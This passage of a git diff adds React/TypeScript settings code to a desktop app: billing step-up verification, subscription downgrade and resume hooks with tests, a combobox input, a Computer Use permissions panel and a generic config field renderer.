+    setMessage(null)
+    setPhase('idle')
+    setVerification(null)
+  }, [unsubscribe])
+
+  useEffect(
+    () => () => {
+      runIdRef.current += 1
+      runningRef.current = false
+      unsubscribe()
+    },
+    [unsubscribe]
+  )
+
+  const openVerification = useCallback(() => {
+    if (!verification?.url) {
+      return
+    }
+
+    void window.clawcodexDesktop?.openExternal?.(verification.url)
+  }, [verification?.url])
+
+  const start = useCallback(async () => {
+    if (runningRef.current) {
+      return
+    }
+
+    runningRef.current = true
+    const runId = runIdRef.current + 1
+
+    runIdRef.current = runId
+    unsubscribe()
+    setMessage(null)
+    setVerification(null)
+    setPhase('waiting')
+
+    offRef.current =
+      gateway?.on<StepUpVerificationPayload>('billing.step_up.verification', event => {
+        const payload = event.payload
+        const url = typeof payload?.verification_url === 'string' ? payload.verification_url : null
+
+        if (!url) {
+          return
+        }
+
+        setVerification({
+          code: typeof payload?.user_code === 'string' ? payload.user_code : null,
+          url
+        })
+        setPhase('verifying')
+      }) ?? null
+
+    const result = await api.stepUp()
+
+    if (runIdRef.current !== runId) {
+      return
+    }
+
+    runningRef.current = false
+    unsubscribe()
+
+    if (!result.ok) {
+      const resolved = resolveRefusal(result.refusal)
+
+      setMessage({
+        kind: 'error',
+        text: resolved.message,
+        title: resolved.title
+      })
+
+      return
+    }
+
+    if (!result.data.granted) {
+      setMessage({
+        kind: 'error',
+        text: 'Verification finished without allowing Remote Spending for this terminal.',
+        title: 'Verification was not approved'
+      })
+
+      return
+    }
+
+    await Promise.all([
+      queryClient.invalidateQueries({ queryKey: ['billing', 'state'] }),
+      queryClient.invalidateQueries({ queryKey: ['billing', 'subscription'] })
+    ])
+    setMessage({
+      kind: 'success',
+      text: 'Remote Spending is allowed for this terminal.',
+      title: 'Verification complete'
+    })
+  }, [api, gateway, queryClient, unsubscribe])
+
+  return { dismiss, message, openVerification, phase, start, verification }
+}
diff --git a/ui-desktop/src/app/settings/billing/use-subscription-change.test.tsx b/ui-desktop/src/app/settings/billing/use-subscription-change.test.tsx
new file mode 100644
index 000000000..a7a168630
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/use-subscription-change.test.tsx
@@ -0,0 +1,171 @@
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { act, renderHook, waitFor } from '@testing-library/react'
+import type { ReactNode } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+const apiMocks = vi.hoisted(() => ({
+  previewSubscriptionChange: vi.fn(),
+  resumeSubscription: vi.fn(),
+  scheduleSubscriptionChange: vi.fn()
+}))
+
+vi.mock('./api', () => ({ useBillingApi: () => apiMocks }))
+
+import { useDowngradeFlow, useResumeFlow } from './use-subscription-change'
+
+function wrapper({ children }: { children: ReactNode }) {
+  const client = new QueryClient({ defaultOptions: { queries: { retry: false } } })
+
+  return <QueryClientProvider client={client}>{children}</QueryClientProvider>
+}
+
+afterEach(() => {
+  vi.clearAllMocks()
+  vi.unstubAllEnvs()
+})
+
+describe('useDowngradeFlow', () => {
+  it('previews then schedules with the tier id, refetches, and calls onScheduled', async () => {
+    apiMocks.previewSubscriptionChange.mockResolvedValue({
+      data: { effect: 'scheduled', ok: true, target_tier_name: 'Free' },
+      ok: true
+    })
+    apiMocks.scheduleSubscriptionChange.mockResolvedValue({ data: { ok: true }, ok: true })
+    const onScheduled = vi.fn()
+
+    const { result } = renderHook(() => useDowngradeFlow({ onScheduled }), { wrapper })
+
+    act(() => result.current.begin({ tierId: 't_free', tierName: 'Free' }))
+
+    await waitFor(() => expect(result.current.active?.phase.kind).toBe('ready'))
+    expect(apiMocks.previewSubscriptionChange).toHaveBeenCalledWith('t_free')
+
+    await act(async () => {
+      await result.current.confirm()
+    })
+
+    expect(apiMocks.scheduleSubscriptionChange).toHaveBeenCalledWith('t_free')
+    expect(onScheduled).toHaveBeenCalledTimes(1)
+    expect(result.current.active).toBeNull()
+  })
+
+  it('records a preview refusal as the previewFailed phase and re-runs on retry', async () => {
+    apiMocks.previewSubscriptionChange.mockResolvedValue({
+      ok: false,
+      refusal: { kind: 'insufficient_scope', message: 'billing:manage required' }
+    })
+
+    const { result } = renderHook(() => useDowngradeFlow({ onScheduled: vi.fn() }), { wrapper })
+
+    act(() => result.current.begin({ tierId: 't_free', tierName: 'Free' }))
+
+    await waitFor(() => expect(result.current.active?.phase.kind).toBe('previewFailed'))
+    const phase = result.current.active?.phase
+
+    if (phase?.kind !== 'previewFailed') {
+      throw new Error('expected previewFailed phase')
+    }
+
+    expect(phase.refusal.kind).toBe('insufficient_scope')
+
+    act(() => result.current.retryPreview())
+
+    await waitFor(() => expect(apiMocks.previewSubscriptionChange).toHaveBeenCalledTimes(2))
+  })
+
+  it('cancel clears the active change without scheduling', async () => {
+    apiMocks.previewSubscriptionChange.mockResolvedValue({
+      data: { effect: 'scheduled', ok: true, target_tier_name: 'Free' },
+      ok: true
+    })
+
+    const { result } = renderHook(() => useDowngradeFlow({ onScheduled: vi.fn() }), { wrapper })
+
+    act(() => result.current.begin({ tierId: 't_free', tierName: 'Free' }))
+    await waitFor(() => expect(result.current.active?.phase.kind).toBe('ready'))
+
+    act(() => result.current.cancel())
+
+    expect(result.current.active).toBeNull()
+    expect(apiMocks.scheduleSubscriptionChange).not.toHaveBeenCalled()
+  })
+
+  it('exposes mutating only while the schedule RPC is in flight', async () => {
+    apiMocks.previewSubscriptionChange.mockResolvedValue({
+      data: { effect: 'scheduled', ok: true, target_tier_name: 'Free' },
+      ok: true
+    })
+
+    let settleSchedule: (value: unknown) => void = () => {}
+    apiMocks.scheduleSubscriptionChange.mockReturnValue(
+      new Promise(resolve => {
+        settleSchedule = resolve
+      })
+    )
+
+    const { result } = renderHook(() => useDowngradeFlow({ onScheduled: vi.fn() }), { wrapper })
+
+    act(() => result.current.begin({ tierId: 't_free', tierName: 'Free' }))
+    await waitFor(() => expect(result.current.active?.phase.kind).toBe('ready'))
+    expect(result.current.mutating).toBe(false)
+
+    act(() => {
+      void result.current.confirm()
+    })
+    await waitFor(() => expect(result.current.mutating).toBe(true))
+
+    act(() => settleSchedule({ data: { ok: true }, ok: true }))
+    await waitFor(() => expect(result.current.mutating).toBe(false))
+  })
+
+  it('fires a single schedule RPC when confirm is double-activated in the same tick', async () => {
+    apiMocks.previewSubscriptionChange.mockResolvedValue({
+      data: { effect: 'scheduled', ok: true, target_tier_name: 'Free' },
+      ok: true
+    })
+    apiMocks.scheduleSubscriptionChange.mockResolvedValue({ data: { ok: true }, ok: true })
+
+    const { result } = renderHook(() => useDowngradeFlow({ onScheduled: vi.fn() }), { wrapper })
+
+    act(() => result.current.begin({ tierId: 't_free', tierName: 'Free' }))
+    await waitFor(() => expect(result.current.active?.phase.kind).toBe('ready'))
+
+    // Two synchronous activations before React commits busy='schedule'.
+    await act(async () => {
+      void result.current.confirm()
+      void result.current.confirm()
+    })
+
+    expect(apiMocks.scheduleSubscriptionChange).toHaveBeenCalledTimes(1)
+  })
+})
+
+describe('useResumeFlow', () => {
+  it('resumes (undo) and clears the refusal on success', async () => {
+    apiMocks.resumeSubscription.mockResolvedValue({ data: { ok: true }, ok: true })
+
+    const { result } = renderHook(() => useResumeFlow(), { wrapper })
+
+    await act(async () => {
+      await result.current.resume()
+    })
+
+    expect(apiMocks.resumeSubscription).toHaveBeenCalledTimes(1)
+    expect(result.current.refusal).toBeNull()
+  })
+
+  it('surfaces a resume refusal', async () => {
+    apiMocks.resumeSubscription.mockResolvedValue({
+      ok: false,
+      refusal: { kind: 'insufficient_scope', message: 'billing:manage required' }
+    })
+
+    const { result } = renderHook(() => useResumeFlow(), { wrapper })
+
+    await act(async () => {
+      await result.current.resume()
+    })
+
+    expect(result.current.refusal?.kind).toBe('insufficient_scope')
+  })
+})
diff --git a/ui-desktop/src/app/settings/billing/use-subscription-change.ts b/ui-desktop/src/app/settings/billing/use-subscription-change.ts
new file mode 100644
index 000000000..8ec37c6b8
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/use-subscription-change.ts
@@ -0,0 +1,177 @@
+import { useQueryClient } from '@tanstack/react-query'
+import { useRef, useState } from 'react'
+
+import type { BillingRefusal } from './api'
+import { useBillingApi } from './api'
+import type { SubscriptionPreviewResponse } from './types'
+
+export interface DowngradeTarget {
+  tierId: string
+  tierName: string
+}
+
+/**
+ * The state machine for one downgrade attempt. Modeled as a discriminated union
+ * rather than four independent nullables so impossible combinations (a preview AND a
+ * refusal, a "ready" with no quote) simply cannot be represented, and the panel reads
+ * exactly one `kind`.
+ */
+export type DowngradePhase =
+  | { kind: 'previewFailed'; refusal: BillingRefusal }
+  | { kind: 'previewing' }
+  | { kind: 'ready'; preview: SubscriptionPreviewResponse }
+  | { kind: 'scheduleFailed'; preview: SubscriptionPreviewResponse; refusal: BillingRefusal }
+  | { kind: 'scheduling'; preview: SubscriptionPreviewResponse }
+
+export interface ActiveDowngrade {
+  phase: DowngradePhase
+  target: DowngradeTarget
+}
+
+function invalidateBilling(queryClient: ReturnType<typeof useQueryClient>) {
+  return Promise.all([
+    queryClient.invalidateQueries({ queryKey: ['billing', 'state'] }),
+    queryClient.invalidateQueries({ queryKey: ['billing', 'subscription'] })
+  ])
+}
+
+/**
+ * The in-app downgrade flow: preview (chargeless quote) → confirm → schedule at
+ * period end. Typed refusals surface via the shared BillingRefusalInline (which
+ * drives the step-up for insufficient_scope, exactly like the auto-reload save);
+ * the caller retries by clicking the same button after verifying. On a scheduled
+ * success it refetches billing + subscription and calls `onScheduled`.
+ *
+ * The api comes from `useBillingApi`, which DEV fixtures override with a simulated
+ * implementation — so this flow has no fixture/simulation awareness of its own.
+ */
+export function useDowngradeFlow({ onScheduled }: { onScheduled: () => void }) {
+  const api = useBillingApi()
+  const queryClient = useQueryClient()
+  const [active, setActive] = useState<ActiveDowngrade | null>(null)
+  // Monotonic run id discards results from a superseded/cancelled attempt.
+  const runIdRef = useRef(0)
+  // Synchronous mutex: two clicks in the same tick both see active.busy === null
+  // (React hasn't committed the 'schedule' state yet), so guard on a ref too — no
+  // double schedule RPC. Cleared on every confirm() exit (below).
+  const schedulingRef = useRef(false)
+
+  const runPreview = async (target: DowngradeTarget, runId: number) => {
+    const result = await api.previewSubscriptionChange(target.tierId)
+
+    if (runIdRef.current !== runId) {
+      return
+    }
+
+    setActive({
+      phase: result.ok ? { kind: 'ready', preview: result.data } : { kind: 'previewFailed', refusal: result.refusal },
+      target
+    })
+  }
+
+  const begin = (target: DowngradeTarget) => {
+    const runId = runIdRef.current + 1
+
+    runIdRef.current = runId
+    setActive({ phase: { kind: 'previewing' }, target })
+    void runPreview(target, runId)
+  }
+
+  const retryPreview = () => {
+    if (active) {
+      begin(active.target)
+    }
+  }
+
+  const confirm = async () => {
+    // Only a quoted state (ready, or a failed schedule being retried) can commit.
+    if (!active || schedulingRef.current || (active.phase.kind !== 'ready' && active.phase.kind !== 'scheduleFailed')) {
+      return
+    }
+
+    schedulingRef.current = true
+    const { target } = active
+    const { preview } = active.phase
+    const runId = runIdRef.current + 1
+
+    runIdRef.current = runId
+    setActive({ phase: { kind: 'scheduling', preview }, target })
+
+    const result = await api.scheduleSubscriptionChange(target.tierId)
+    schedulingRef.current = false
+
+    if (runIdRef.current !== runId) {
+      return
+    }
+
+    if (!result.ok) {
+      // A refusal (e.g. insufficient_scope → step-up) leaves the panel open in
+      // scheduleFailed, so the same button becomes a manual "Try again" AFTER the
+      // user elevates. We deliberately do NOT auto-replay the mutation on step-up
+      // success — this matches the auto-reload save's manual-retry pattern.
+      setActive({ phase: { kind: 'scheduleFailed', preview, refusal: result.refusal }, target })
+
+      return
+    }
+
+    await invalidateBilling(queryClient)
+    setActive(null)
+    onScheduled()
+  }
+
+  const cancel = () => {
+    runIdRef.current += 1
+    setActive(null)
+  }
+
+  // True only while the mutating RPC (schedule) is in flight — used to lock out
+  // every other Downgrade tile + Back while one change is committing (the server
+  // also 409s overlapping mutations per-org, so this is UI honesty, not the only
+  // defense).
+  const mutating = active?.phase.kind === 'scheduling'
+
+  return { active, begin, cancel, confirm, mutating, retryPreview }
+}
+
+/**
+ * The undo for a scheduled downgrade / cancellation: a chargeless
+ * `subscription.resume` (no confirm step) that refetches on success. A refusal
+ * (e.g. insufficient_scope → step-up) surfaces via `refusal`. The api (real or the
+ * DEV-fixture simulation) comes from `useBillingApi`.
+ */
+export function useResumeFlow() {
+  const api = useBillingApi()
+  const queryClient = useQueryClient()
+  const [busy, setBusy] = useState(false)
+  const [refusal, setRefusal] = useState<BillingRefusal | null>(null)
+  const runningRef = useRef(false)
+
+  const resume = async () => {
+    if (runningRef.current) {
+      return
+    }
+
+    runningRef.current = true
+    setBusy(true)
+    setRefusal(null)
+
+    const result = await api.resumeSubscription()
+
+    if (!result.ok) {
+      // Refusal → unlock immediately so the user can retry / step up.
+      runningRef.current = false
+      setBusy(false)
+      setRefusal(result.refusal)
+
+      return
+    }
+
+    // Success → hold the lock (Undo stays disabled) THROUGH the refetch, so the
+    // button never re-enables against the stale, still-pending card.
+    await invalidateBilling(queryClient)
+    runningRef.current = false
+    setBusy(false)
+  }
+
+  return { busy, refusal, resume }
+}
diff --git a/ui-desktop/src/app/settings/combobox-input.tsx b/ui-desktop/src/app/settings/combobox-input.tsx
new file mode 100644
index 000000000..63dd42606
--- /dev/null
+++ b/ui-desktop/src/app/settings/combobox-input.tsx
@@ -0,0 +1,114 @@
+import { useRef, useState } from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { Command, CommandGroup, CommandItem, CommandList } from '@/components/ui/command'
+import { Input } from '@/components/ui/input'
+import { Popover, PopoverAnchor, PopoverContent } from '@/components/ui/popover'
+import { cn } from '@/lib/utils'
+
+/**
+ * Free-input combobox for open-world fields (voice/model names): a plain
+ * Input the user can type anything into, plus a dropdown listing ALL known
+ * options.
+ *
+ * Replaces the old `<Input list="…">` + `<datalist>` rendering for
+ * FREE_INPUT_KEYS: native datalists filter by the field's current value, so a
+ * field already holding a valid option (e.g. `gpt-4o-mini-tts`) suggested
+ * only that one entry — users couldn't discover the other models/voices at
+ * all (and on some platforms datalists barely render). Suggestions filter by
+ * substring while typing, but an exact-match value shows the full list so an
+ * already-configured field still exposes every alternative.
+ */
+export function ComboboxInput({
+  value,
+  onChange,
+  options,
+  optionLabels,
+  placeholder,
+  className
+}: {
+  value: string
+  onChange: (value: string) => void
+  options: string[]
+  optionLabels?: Record<string, string>
+  placeholder?: string
+  className?: string
+}) {
+  const [open, setOpen] = useState(false)
+  const inputRef = useRef<HTMLInputElement>(null)
+
+  const query = value.trim().toLowerCase()
+  const isExact = options.some(option => option.toLowerCase() === query)
+
+  const visible = query && !isExact ? options.filter(option => option.toLowerCase().includes(query)) : options
+
+  return (
+    <Popover onOpenChange={setOpen} open={open}>
+      <PopoverAnchor asChild>
+        <div className={cn('relative', className)}>
+          <Input
+            className="w-full pr-7"
+            onChange={e => {
+              onChange(e.target.value)
+
+              if (!open) {
+                setOpen(true)
+              }
+            }}
+            onFocus={() => setOpen(true)}
+            onKeyDown={e => {
+              if (e.key === 'Escape' || e.key === 'Enter' || e.key === 'Tab') {
+                setOpen(false)
+              }
+            }}
+            placeholder={placeholder}
+            ref={inputRef}
+            value={value}
+          />
+          <button
+            aria-label="Show options"
+            className="absolute inset-y-0 right-1.5 flex items-center text-muted-foreground"
+            onClick={() => {
+              setOpen(current => !current)
+              inputRef.current?.focus()
+            }}
+            tabIndex={-1}
+            type="button"
+          >
+            <Codicon name={open ? 'chevron-up' : 'chevron-down'} size="1rem" />
+          </button>
+        </div>
+      </PopoverAnchor>
+      <PopoverContent
+        align="start"
+        className="w-[var(--radix-popover-trigger-width)] p-0"
+        onOpenAutoFocus={e => e.preventDefault()}
+      >
+        <Command shouldFilter={false}>
+          <CommandList>
+            {visible.length > 0 && (
+              <CommandGroup>
+                {visible.map(option => (
+                  <CommandItem
+                    key={option}
+                    onSelect={() => {
+                      onChange(option)
+                      setOpen(false)
+                    }}
+                    value={option}
+                  >
+                    <Codicon
+                      className={cn('mr-2 size-4', option === value ? 'opacity-100' : 'opacity-0')}
+                      name="check"
+                    />
+                    <span className="truncate">{optionLabels?.[option] ?? option}</span>
+                  </CommandItem>
+                ))}
+              </CommandGroup>
+            )}
+          </CommandList>
+        </Command>
+      </PopoverContent>
+    </Popover>
+  )
+}
diff --git a/ui-desktop/src/app/settings/computer-use-panel.tsx b/ui-desktop/src/app/settings/computer-use-panel.tsx
new file mode 100644
index 000000000..7d4ebd2da
--- /dev/null
+++ b/ui-desktop/src/app/settings/computer-use-panel.tsx
@@ -0,0 +1,240 @@
+import { useCallback, useEffect, useRef, useState } from 'react'
+
+import { getActionStatus, getComputerUseStatus, grantComputerUsePermissions } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { AlertTriangle, Check, ExternalLink, Loader2, RefreshCw, X } from '@/lib/icons'
+import { upsertDesktopActionTask } from '@/store/activity'
+import { notify, notifyError } from '@/store/notifications'
+import type { ComputerUseStatus } from '@/types/clawcodex'
+
+import { Pill } from './primitives'
+
+interface ComputerUsePanelProps {
+  /** Re-read the parent toolset list after a permission/install change so the
+   *  "Configured / Needs keys" pill stays in sync. */
+  onConfiguredChange?: () => void
+}
+
+// Per-OS one-liner shown when there's no TCC grant flow (Windows/Linux). macOS
+// drives the permission rows instead, so it has no entry here.
+const PLATFORM_NOTE: Record<string, string> = {
+  linux: 'Drives your desktop via the X11/XWayland accessibility stack — no permission prompt.',
+  win32: 'First run may trigger a Windows SmartScreen prompt for the cua-driver UIAccess worker — allow it.'
+}
+
+function tone(granted: boolean | null) {
+  return granted === true ? 'primary' : 'muted'
+}
+
+function GrantIcon({ granted }: { granted: boolean | null }) {
+  const Icon = granted === true ? Check : granted === false ? X : AlertTriangle
+
+  return <Icon className="size-3" />
+}
+
+function PermissionRow({ granted, label, hint }: { granted: boolean | null; label: string; hint: string }) {
+  return (
+    <div className="flex flex-wrap items-center justify-between gap-2 rounded-lg bg-background/55 p-2.5">
+      <div className="min-w-0">
+        <span className="text-sm font-medium">{label}</span>
+        <p className="mt-0.5 text-[0.7rem] text-muted-foreground">{hint}</p>
+      </div>
+      <Pill tone={tone(granted)}>
+        <GrantIcon granted={granted} />
+        {granted === true ? 'Granted' : granted === false ? 'Not granted' : 'Unknown'}
+      </Pill>
+    </div>
+  )
+}
+
+/**
+ * Cross-platform Computer Use preflight card.
+ *
+ * cua-driver runs on macOS, Windows, and Linux, but readiness differs: macOS
+ * needs two TCC grants (Accessibility + Screen Recording) that attach to
+ * cua-driver's own `com.trycua.driver` identity — not ClawCodex — and are
+ * requested via `cua-driver permissions grant` (dialog attributed to
+ * CuaDriver). Windows/Linux have no TCC toggles, so readiness is driver health
+ * from `cua-driver doctor`. The backend folds both into one `ready` signal.
+ *
+ * Binary install/upgrade stays in the cua-driver provider's post-setup runner
+ * below this card (the generic ToolsetConfigPanel).
+ */
+export function ComputerUsePanel({ onConfiguredChange }: ComputerUsePanelProps) {
+  const [status, setStatus] = useState<ComputerUseStatus | null>(null)
+  const [loading, setLoading] = useState(true)
+  const [granting, setGranting] = useState(false)
+  const activeRef = useRef(false)
+
+  const refresh = useCallback(async () => {
+    try {
+      setStatus(await getComputerUseStatus())
+    } catch (err) {
+      notifyError(err, 'Could not read Computer Use status')
+    } finally {
+      setLoading(false)
+    }
+  }, [])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    activeRef.current = true
+    void refresh()
+
+    return () => void (activeRef.current = false)
+  }, [refresh])
+
+  const grant = useCallback(async () => {
+    setGranting(true)
+
+    try {
+      const started = await grantComputerUsePermissions()
+
+      if (!started.ok) {
+        notifyError(new Error('spawn failed'), 'Could not request permissions')
+
+        return
+      }
+
+      notify({
+        kind: 'info',
+        title: 'Approve in System Settings',
+        message: 'macOS will show a permission dialog attributed to CuaDriver. Approve it, then return here.'
+      })
+
+      // The driver waits for the user to flip the switch — poll until it exits.
+      for (let attempt = 0; attempt < 150 && activeRef.current; attempt += 1) {
+        await new Promise(resolve => window.setTimeout(resolve, 1500))
+
+        if (!activeRef.current) {
+          break
+        }
+
+        const polled = await getActionStatus(started.name, 200)
+        upsertDesktopActionTask(polled)
+
+        if (!polled.running) {
+          break
+        }
+      }
+
+      if (activeRef.current) {
+        await refresh()
+        onConfiguredChange?.()
+      }
+    } catch (err) {
+      if (activeRef.current) {
+        notifyError(err, 'Could not request permissions')
+      }
+    } finally {
+      if (activeRef.current) {
+        setGranting(false)
+      }
+    }
+  }, [onConfiguredChange, refresh])
+
+  if (loading) {
+    return (
+      <div className="flex items-center gap-2 px-1 text-xs text-muted-foreground">
+        <Loader2 className="size-3.5 animate-spin" />
+        Checking Computer Use status…
+      </div>
+    )
+  }
+
+  if (!status) {
+    return null
+  }
+
+  if (!status.platform_supported) {
+    return (
+      <p className="px-1 text-xs text-muted-foreground">
+        Computer Use isn&apos;t supported on this platform ({status.platform}).
+      </p>
+    )
+  }
+
+  if (!status.installed) {
+    return (
+      <p className="px-1 text-xs text-muted-foreground">
+        Install the cua-driver backend below to drive this machine.
+        {status.can_grant && ' Then grant Accessibility and Screen Recording here.'}
+      </p>
+    )
+  }
+
+  const failingChecks = status.checks.filter(c => c.status !== 'ok')
+
+  return (
+    <div className="grid gap-2">
+      <div className="flex flex-wrap items-center justify-between gap-2 px-1">
+        <div className="min-w-0">
+          {status.can_grant ? (
+            <p className="text-[0.72rem] text-muted-foreground">
+              Grants attach to CuaDriver&apos;s own identity (com.trycua.driver), not ClawCodex — so the dialog is
+              attributed to the process that drives your Mac.
+            </p>
+          ) : (
+            <p className="text-[0.72rem] text-muted-foreground">{PLATFORM_NOTE[status.platform] ?? ''}</p>
+          )}
+          {status.version && <p className="text-[0.68rem] text-muted-foreground/80">{status.version}</p>}
+        </div>
+        <Button onClick={() => void refresh()} size="sm" variant="text">
+          <RefreshCw className="size-3.5" />
+          Recheck
+        </Button>
+      </div>
+
+      {status.can_grant ? (
+        <>
+          <PermissionRow
+            granted={status.accessibility}
+            hint="Lets cua-driver post clicks, keystrokes, and read the accessibility tree."
+            label="Accessibility"
+          />
+          <PermissionRow
+            granted={status.screen_recording}
+            hint="Lets cua-driver capture screenshots of app windows."
+            label="Screen Recording"
+          />
+        </>
+      ) : (
+        <div className="flex flex-wrap items-center justify-between gap-2 rounded-lg bg-background/55 p-2.5">
+          <span className="text-sm font-medium">Driver health</span>
+          <Pill tone={tone(status.ready)}>
+            <GrantIcon granted={status.ready} />
+            {status.ready === true ? 'Ready' : status.ready === false ? 'Not ready' : 'Unknown'}
+          </Pill>
+        </div>
+      )}
+
+      {failingChecks.map(c => (
+        <p className="px-1 text-[0.7rem] text-muted-foreground" key={c.label}>
+          <AlertTriangle className="mr-1 inline size-3" />
+          {c.label}: {c.message}
+        </p>
+      ))}
+
+      {status.error && (
+        <p className="px-1 text-[0.7rem] text-muted-foreground">
+          <AlertTriangle className="mr-1 inline size-3" />
+          {status.error}
+        </p>
+      )}
+
+      {status.ready ? (
+        <div className="flex items-center gap-1.5 px-1 text-xs text-muted-foreground">
+          <Check className="size-3.5" />
+          Computer Use is ready. Ask the agent to capture an app and click around.
+        </div>
+      ) : (
+        status.can_grant && (
+          <Button disabled={granting} onClick={() => void grant()} size="sm">
+            {granting ? <Loader2 className="size-3.5 animate-spin" /> : <ExternalLink className="size-3.5" />}
+            {granting ? 'Waiting for approval…' : 'Grant permissions'}
+          </Button>
+        )
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/config-field.tsx b/ui-desktop/src/app/settings/config-field.tsx
new file mode 100644
index 000000000..2ac01e9fe
--- /dev/null
+++ b/ui-desktop/src/app/settings/config-field.tsx
@@ -0,0 +1,235 @@
+import type { ReactNode } from 'react'
+
+import { Input } from '@/components/ui/input'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { useI18n } from '@/i18n'
+import { prettyName } from '@/lib/text'
+import { cn } from '@/lib/utils'
+import type { ConfigFieldSchema } from '@/types/clawcodex'
+
+import { ComboboxInput } from './combobox-input'
+import { CONTROL_TEXT, EMPTY_SELECT_VALUE, FIELD_DESCRIPTIONS, FIELD_LABELS, FREE_INPUT_KEYS } from './constants'
+import { FallbackModelsField } from './fallback-models-field'
+import { fieldCopyForSchemaKey } from './field-copy'
+import { ListRow } from './primitives'
+import { SearchableSelect } from './searchable-select'
+
+/**
+ * One generic config row: label + description resolved from the i18n field
+ * copy (falling back to the schema description), and a control picked from the
+ * field schema — Switch for booleans, Select for enums, free-input combobox
+ * (Input + datalist) for FREE_INPUT_KEYS voice/model names, and Input/Textarea
+ * for the rest. Shared by the Settings config sections and the Capabilities
+ * TTS provider panel so both surfaces render identical fields.
+ */
+export function ConfigField({
+  schemaKey,
+  schema,
+  value,
+  enumOptions,
+  optionLabels,
+  onChange,
+  descriptionExtra
+}: {
+  schemaKey: string
+  schema: ConfigFieldSchema
+  value: unknown
+  enumOptions?: string[]
+  optionLabels?: Record<string, string>
+  onChange: (value: unknown) => void
+  descriptionExtra?: ReactNode
+}) {
+  const { t } = useI18n()
+  const c = t.settings.config
+
+  const label =
+    fieldCopyForSchemaKey(t.settings.fieldLabels, schemaKey) ??
+    fieldCopyForSchemaKey(FIELD_LABELS, schemaKey) ??
+    prettyName(schemaKey.split('.').pop() ?? schemaKey)
+
+  const normalize = (v: string) => v.toLowerCase().replace(/[^a-z0-9]+/g, '')
+
+  const rawDescription = (
+    fieldCopyForSchemaKey(t.settings.fieldDescriptions, schemaKey) ??
+    fieldCopyForSchemaKey(FIELD_DESCRIPTIONS, schemaKey) ??
+    schema.description ??
+    ''
+  ).trim()
+
+  const normalizedDesc = normalize(rawDescription)
+
+  const description =
+    rawDescription && normalizedDesc !== normalize(label) && normalizedDesc !== normalize(schemaKey)
+      ? rawDescription
+      : undefined
+
+  const descriptionNode: ReactNode = descriptionExtra ? (
+    <span className="inline-flex flex-wrap items-center gap-x-3 gap-y-1">
+      {description}
+      {descriptionExtra}
+    </span>
+  ) : (
+    description
+  )
+
+  const row = (action: ReactNode, wide = false) => (
+    <ListRow action={action} description={descriptionNode} title={label} wide={wide} />
+  )
+
+  // `fallback_providers` is a list of {provider, model} objects; the generic
+  // `list` branch below would stringify them to "[object Object]". Render the
+  // dedicated structured editor instead.
+  if (schemaKey === 'fallback_providers') {
+    return row(<FallbackModelsField onChange={onChange} value={value} />, true)
+  }
+
+  if (schema.type === 'boolean') {
+    return row(
+      <div className="flex items-center justify-end">
+        <Switch checked={Boolean(value)} onCheckedChange={onChange} />
+      </div>
+    )
+  }
+
+  const selectOptions = enumOptions ?? (schema.type === 'select' ? (schema.options ?? []).map(String) : undefined)
+
+  // Large closed-world lists (e.g. ~590 IANA timezones) get a searchable
+  // Popover + cmdk combobox instead of a closed Select dropdown.  The schema
+  // opt-in via `searchable: true` keeps this deterministic — no field
+  // accidentally triggers based on dynamic option count.
+  if (selectOptions && schema.searchable) {
+    return row(
+      <SearchableSelect
+        clearLabel={schema.clearable ? c.systemDefault : undefined}
+        emptyMessage={c.noResults}
+        onChange={next => onChange(next)}
+        options={selectOptions.filter(o => o !== '')}
+        placeholder={c.searchPlaceholder}
+        value={String(value ?? '')}
+      />
+    )
+  }
+
+  // Voice/model name fields are open-world (custom voice IDs, cloned voices,
+  // brand-new model names) — render a free-input combobox where the known
+  // options are dropdown suggestions instead of a closed Select gate. The old
+  // native <datalist> filtered by the current value, so a field already set
+  // to a valid option showed only that single suggestion.
+  if (selectOptions && FREE_INPUT_KEYS.has(schemaKey)) {
+    return row(
+      <ComboboxInput
+        className={CONTROL_TEXT}
+        onChange={onChange}
+        optionLabels={optionLabels}
+        options={selectOptions.filter(o => o !== '')}
+        placeholder={c.notSet}
+        value={String(value ?? '')}
+      />
+    )
+  }
+
+  if (selectOptions) {
+    return row(
+      <Select
+        onValueChange={next => onChange(next === EMPTY_SELECT_VALUE ? '' : next)}
+        value={String(value ?? '') || EMPTY_SELECT_VALUE}
+      >
+        <SelectTrigger className={CONTROL_TEXT}>
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          {selectOptions.map(option => (
+            <SelectItem key={option || EMPTY_SELECT_VALUE} value={option || EMPTY_SELECT_VALUE}>
+              {option
+                ? (optionLabels?.[option] ?? prettyName(option))
+                : schemaKey === 'display.personality'
+                  ? c.none
+                  : schemaKey === 'memory.provider'
+                    ? c.builtinOnly
+                    : c.noneParen}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+    )
+  }
+
+  if (schema.type === 'number') {
+    return row(
+      <Input
+        className={CONTROL_TEXT}
+        onChange={e => {
+          const raw = e.target.value
+          const n = raw === '' ? 0 : Number(raw)
+
+          if (!Number.isNaN(n)) {
+            onChange(n)
+          }
+        }}
+        placeholder={c.notSet}
+        type="number"
+        value={value === undefined || value === null ? '' : String(value)}
+      />
+    )
+  }
+
+  if (schema.type === 'list') {
+    return row(
+      <Input
+        className={CONTROL_TEXT}
+        onChange={e =>
+          onChange(
+            e.target.value
+              .split(',')
+              .map(s => s.trim())
+              .filter(Boolean)
+          )
+        }
+        placeholder={c.commaSeparated}
+        value={Array.isArray(value) ? value.join(', ') : String(value ?? '')}
+      />
+    )
+  }
+
+  if (typeof value === 'object' && value !== null) {
+    return row(
+      <Textarea
+        className={cn('min-h-28 resize-y bg-background font-mono', CONTROL_TEXT)}
+        onChange={e => {
+          try {
+            onChange(JSON.parse(e.target.value))
+          } catch {
+            /* keep last valid */
+          }
+        }}
+        placeholder={c.notSet}
+        spellCheck={false}
+        value={JSON.stringify(value, null, 2)}
+      />,
+      true
+    )
+  }
+
